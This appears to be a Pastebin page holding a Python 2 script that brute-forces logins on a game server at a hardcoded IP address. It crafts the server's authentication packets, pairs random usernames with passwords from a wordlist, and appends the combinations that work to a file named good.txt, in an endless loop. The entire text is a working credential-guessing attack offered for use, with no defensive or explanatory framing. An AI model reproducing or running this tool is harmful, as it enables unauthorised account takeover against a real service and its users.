Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from socket import *
- from bytearray import ByteArray
- import hashlib
- import random
- import sys
- from multiprocessing import Process
- def _debug(msg, pack=""):
- print "[DEBUG] %s PACKET %s"%(msg, bytes([pack]))
- class BruteForce():
- def getpassword(self):
- file = open("password.txt").read().split("\n")
- return file
- def getusers(self):
- file = open("users").read().split("\n")
- return file
- def sendver(self):
- p = ByteArray()
- p.writeBytes("\x1c\x01")
- p.writeInt(20)
- self.m.send(p.toPack())
- def auth(self, login, password):
- p = ByteArray()
- p.writeBytes("\x28\x02")
- p.writeUTF(login)
- p.writeUTF(hashlib.sha256(password).hexdigest())
- p.writeBoolean(False)
- self.m.send(p.toPack())
- #_debug("AUTH_PACK", self.m.recv(4096*128))
- _debug("AUTH", "")
- def mainLoop(self, pc):
- p = ByteArray(pc)
- p.readBy(4)
- ccc = [p.readByte(), p.readByte()]
- if ccc[0] == 40:
- if ccc[1] == 2:
- #print False
- p = ByteArray(pc)
- p.readBy(6)
- valid = p.readByte()
- _debug("Username", self.username+"|"+self.password)
- if valid !=0:
- file = open("good.txt", 'a')
- file.write("%s:%s\r\n"%(self.username, self.password))
- print "VALID!"
- else:
- print "NotValid"
- sys.exit(9)
- def __init__(self):
- self.server = ("37.59.46.220", 6112)
- alph = list("abcdefghijktmnopqrstuvwxyz")
- self.username = random.choice(alph)+random.choice(alph)+random.choice(alph)#(self.getusers())
- self.password = random.choice(self.getpassword())
- self.m = socket(AF_INET, SOCK_STREAM)
- self.m.connect(self.server)
- self.sendver()
- self.auth(self.username, self.password)
- while True:self.mainLoop(self.m.recv(4096*128))
- while True:
- try:BruteForce()
- except:pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement